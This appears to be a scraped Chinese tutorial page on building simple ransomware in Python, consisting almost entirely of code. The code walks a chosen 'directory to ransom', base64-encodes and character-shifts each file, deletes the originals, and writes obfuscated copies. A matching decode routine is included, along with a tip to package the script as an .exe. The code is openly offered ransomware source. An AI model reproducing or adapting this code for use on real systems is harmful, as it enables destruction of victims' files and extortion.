前置
def list(src):
res = []
for root, dirs, files in os.walk(src): #获取父目录,子目录,文件
for file in files:
# 获取文件所属目录
# print(root)
# 获取文件路径
res.append(os.path.join(root, file)) #把父目录和文件合成一个路径
return res
加密
def ran_encode(res):
for r in res:
# print(re)
with open(r, 'rb') as fp:
src = fp.read()
bs = base64.b64encode(src).decode() #读取并用base64加密
se = ''
for b in bs:
new = chr(ord(b) + 5) #转换成acsii码进行位移
se += new
# print(type(re))
os.remove(r)
name = '123'
with open(r+name, 'wb') as fp: #覆写
fp.write(se.encode())
解密文章来源:https://www.toymoban.com/news/detail-734551.html
def ran_decode(res):
for r in res:
with open(r, 'r') as fp:
src = fp.read()
se = ''
for b in src:
new = chr(ord(b) - 5)
se += new
resp = base64.b64decode(se)
s=r[0:-3]
os.remove(r)
with open(s,'wb') as fp:
fp.write(resp)
path=r"需要勒索的目录,绝对路径"
def intes():
res=list(path)
ran_encode(res)
def outs():
src1 = list(path)
ran_decode(src1)
可以使用python打包的扩展包变成.exe文件进行尝试文章来源地址https://www.toymoban.com/news/detail-734551.html
到了这里,关于利用python制作简单勒索病毒的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!